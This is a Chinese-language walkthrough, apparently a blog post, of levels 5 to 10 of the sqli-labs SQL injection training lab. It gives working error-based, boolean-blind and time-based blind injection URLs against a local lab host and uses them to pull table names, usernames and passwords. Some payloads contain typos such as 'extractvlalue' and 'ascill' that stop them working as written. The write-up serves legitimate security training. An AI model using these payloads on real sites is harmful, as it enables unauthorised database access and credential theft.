sqli-lab闯关第5关---第10关
目录
第五关Less-5:
1、判断注入点类型
2、确定显示位置
3、报错注入方法
4、查询库名
5、查询表名
6、查询列名
7、查看用户名和密码:
第六关Less-6:
1、判断注入点类型
2、查询库名
3、其他步骤同上一关;
第七关Less-7:
1、判断注入点类型
第八关Less-8:
1、判断注入点类型
2、布尔盲注暴库、暴表
第九关Less-9:
1、判断注入点类型
2、猜库名
3、猜表名、字段名
第十关Less-10
1、判断注入点类型
2、猜库名、表名、字段名
第五关Less-5:
1、判断注入点类型
(1)、单引号测试
http://192.168.162.135/sqlilab/Less-5/?id=1'
初步判断:单引号字符型注入
(2)、进行验证:
最终确定:该注入点为单引号字符型注入;
2、确定显示位置
经过尝试发现该页面无显示点,因此不能通过之前的方法进行联合查询,显示我们想要的信息,因此可以选择时间盲注或者报错注入;因为时间盲注比较耗时,而且结果只能一点一点的去猜测,因此我们选用报错注入。
3、报错注入方法
(1)、floor()+rand();
详细讲解:https://blog.csdn.net/ccz4854/article/details/123375320
(2)、exp(x);
原理:当x的值大于709时,exp()溢出错误;
(3)、xpath函数
- extractvalue(a,b)函数;
- updataxml(a,b,a)函数;
4、查询库名
http://192.168.162.135/sqlilab/Less-5/?id=1' and extractvlalue(1,concat('~',database())) --+
库名:security;
5、查询表名
http://192.168.162.135/sqlilab/Less-5/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
表名:emails,referers,uagents,users
6、查询列名
http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+
(1)、user_id
union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 0,1),floor(rand(0)*2)) a from information_schema.columns group by a --+
(2)first_name
union select count(*),1,concat((select column_name from information_schema.columns where table_name="users" limit 1,1),floor(rand(0)*2)) a from information_schema.columns group by a --+
...........
通过limit逐个查看users表中的列名;
7、查看用户名和密码:
(1)、第一个用户:
用户名:Dumb
http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 0,1),floor(rand(0)*2)) a from users group by a --+
密码:Dumb
http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 0,1),floor(rand(0)*2)) a from users group by a --+
(2)、第二个用户:
用户名:Angelina1
http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select username from users limit 1,1),floor(rand(0)*2)) a from users group by a --+
密码:I-kill-you1
http://192.168.162.135/sqlilab/Less-5/?id=1' union select count(*),1,concat((select password from users limit 1,1),floor(rand(0)*2)) a from users group by a --+
(3)、同上,不断改变limit、username、password来逐个获取用户名和密码
第六关Less-6:
1、判断注入点类型
(1)、单引号测试被过滤,尝试双引号
初步判定:双引号字符型注入
(2)、验证猜测:
最终确定:该注入点为双引号字符型注入
sql语句为:select * from users where id="$id";
2、查询库名
库名:security
3、其他步骤同上一关;
第七关Less-7:
1、判断注入点类型
(1)、单引号测试
这关不显示报错信息,所以只能尝试找出闭合符,单引号首先排除;
(2)、双引号测试
正常,说明双引号被过滤;
(3)、')测试
说明')不是闭合符;
(4)、'))测试
经过检验:闭合符为:'))
sql语句为:where id=(('$id'));
该注入点为:字符型注入;
第八关Less-8:
1、判断注入点类型
(1)、单引号测试:
页面发生变化,但不报错;
(2)、双引号测试
正常,页面无变化;
(3)、其他字符尝试
只有单引号出现,页面有所变化,所以就单引号进行尝试
单引号闭合,说明该注入点为单引号字符型注入;
布尔盲注
2、布尔盲注暴库、暴表
该注入点不显示任何信息,只能通过页面的变化来进行猜测,当页面显示"You are in......",说明为true,页面只显示"welcome",说明为false;因此在这关使用布尔盲注进行暴库、暴表
(1)、猜库名的长度
http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =1 --+
说明库名长度不是1;
http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =2 --+
说明库名长度不是2;
..........不断尝试
http://192.168.162.135/sqlilab/Less-8/?id=1' and length(database()) =8 --+
说明库名长度为:8;
(2)、猜库名
语句为:
http://192.168.162.135/sqlilab/Less-8/?id=1' and ascill(substr(database(),1,1))>97 --+
ascill():将()里的值转换为ascill码;
substr(a,b,c):表示截取字符串,a表示要截取的字符串,b表示从哪里开始,c表示截取的长度;
该语句的意思为:将数据库的库名的第一个字符截取下来后转换为ascill码,进行比较,缩小其范围,通过页面的变化不断比较确定第一个字符串的值,并用这种方法逐个确定出数据库的名称;
ascill码对照表:https://zhuanlan.zhihu.com/p/388458283
(3)、猜表名
方法同上,取字符串,转码,比较,逐个逐字确定;
第九关Less-9:
1、判断注入点类型
经过大量尝试,页面一直没有变化,所以我们要寻找一个参考,选择使用时间盲注
通过时间盲注,判断该注入点为:单引号字符型注入,时间盲注
2、猜库名
类比布尔盲注,方法类似,例句如下:
and if(x,sleep(a),1)
if()函数中,
- x为布尔盲注中的长度、字符猜测语句,如:length(database())=1
- sleep()函数,a为时间间隔,如果前面的语句x为真,则在页面出来前间隔a秒;
- 1:占位
3、猜表名、字段名
方法同上
第十关Less-10
1、判断注入点类型
与第九关相同,页面一直没有变化,无法参考,因此使用时间盲注进行判断;
。。。。。。不断尝试,观察页面是否有时间间隔
因此判断闭合符为:双引号"
sql语句:where id="$id";
该注入点为:双引号字符型注入,时间盲注
2、猜库名、表名、字段名
方法同第九关;
sqli-lab闯关第5关---第10关相关推荐
- 光棍节程序员闯关秀(总共10关)
程序员闯关大挑战: https://1111.segmentfault.com/ 仓鼠演示7k7k.4399小游戏: http://cdn.abowman.com/widgets/hamster/ha ...
- linux 关中断 调度,关中断是否禁止任务调度?关中断能作为互斥吗?
正 文 关中断是否禁止任务调度?关中断能作为互斥吗?(2008/11/25 21:36) 今天再看<嵌入式软件系统教程>((美)西蒙 著,陈向群 等译) ,里面讲到关中断会关了任务调度, ...
- 开发者基础知识游戏,共10关,欢迎挑战
昨晚无眠,突然想起了以前园子里出现的某种找答案的游戏,那时是一个老外设计的. (补充,后来有网友告知,是某年的双十一光棍节应景的游戏) 于是花了一个晚上思考,今天又花了点时间,设计了一个简单的开发者知 ...
- sqli-labs 1~10关教程
sqlli-labs 1~10关教程 本篇有点长,建议使用目录查看自己想看的关卡 第一关 输入?id=1 出现如下图 输入id=1' 出现语法错误 表示这里可能出现sql注入漏洞 进一步尝试 输入 i ...
- python-85行代码完成贪吃蛇和关卡升级:是男人就坚持到第10关!
使用python,85行代码实现贪吃蛇和关卡升级 你觉得你能坚持到第10关吗? 一.实现效果 二.环境要求 1.python 3+ 2.pygame包 安装命令:打开cmd 输入: pip insta ...
- 实验五 循环结构第1关:斐波那契数列第2关:统计一段英文语句中的单词数和句子数第3关:密码判断第4关:通过数列求自然常数e第5关:双倍余额递减法计算固定资产折旧第6关:销售统计第7关:投资年限计算
第1关:斐波那契数列 根据提示,在右侧编辑器补充代码,输入x,输出第x个斐波那契数列. 注意:斐波那契数列的第一项和第二项为1 x=eval(input("")) #代码开始 a= ...
- 计算机桌面关不了机怎么办,电脑关不了机怎么办?
我们在长时间使用电脑后,想要关机,却会发现电脑偶尔卡在关机界面,却就是关不了机?出现电脑关不了机怎么办?下面就和大家分享一下如何解决电脑关不了机的问题. 电脑关不了机怎么办? 电脑系统长时间关闭不了, ...
- 思维导图 XMind 闯关之路(第03关)插入图片
本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 这里依然以我们以上一关 关卡测试为基础,能够做到: 1 子分支插入图片 接下来我们开始 在 ...
- 思维导图 XMind 闯关之路(第05关)插入外框概要
本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 这里依然以我们以上一关 关卡测试为基础,能够做到: 1 插入外框 接下来我们开始 在一个子 ...
- 思维导图 XMind 闯关之路(第01关)新建文件 建立分支
本系列文章 主要是XMind软件的 一个基础教程,文章总纲链接:专题分纲目录 思维导图 XMind 闯关之路 特殊说明:我们是使用mac版的 XMind8 进行演示.windows版本也是类似,只是稍 ...
最新文章
- Dijkstra算法实验报告
- golang 删除目录所有内容
- 配置kali linux
- php教程源码分享,php教程|php源码|php学习
- 论文笔记:Triplet Network
- stm32滴答计时器_STM32的系统滴答定时器(Systick)
- linux必须运行在enforcing,设置 Selinux环境为 Enforcing模式
- Win32下对多个的线程句柄的关闭的控制(上)
- 完美镜像ISO制作工具WinIso-----使用说明
- 如何用Mockplus快速做一个手风琴菜单?
- 【Android 逆向】ApkTool 工具使用 ( ApkTool 简介 | ApkTool 解包和打包 )
- curl 504 php,nginx - PHP 经常提示 504 Gateway Time-out
- 复现Reasoning with Heterogeneous Graph Alignment for Video Question Answering
- 避免2.4GHz ISM频段各种类型无线设备干扰的技术
- 雷曼另类“死因”:巴菲特漏看求救短信
- 百度Q-T语义一致性比未获奖 (总结)
- $http的使用方式
- ora-12505 监听程序当前无法识别sid
- python入门培训课程
- html怎样给文字设置底纹,使用HTML和CSS来实现为文字设置图片底纹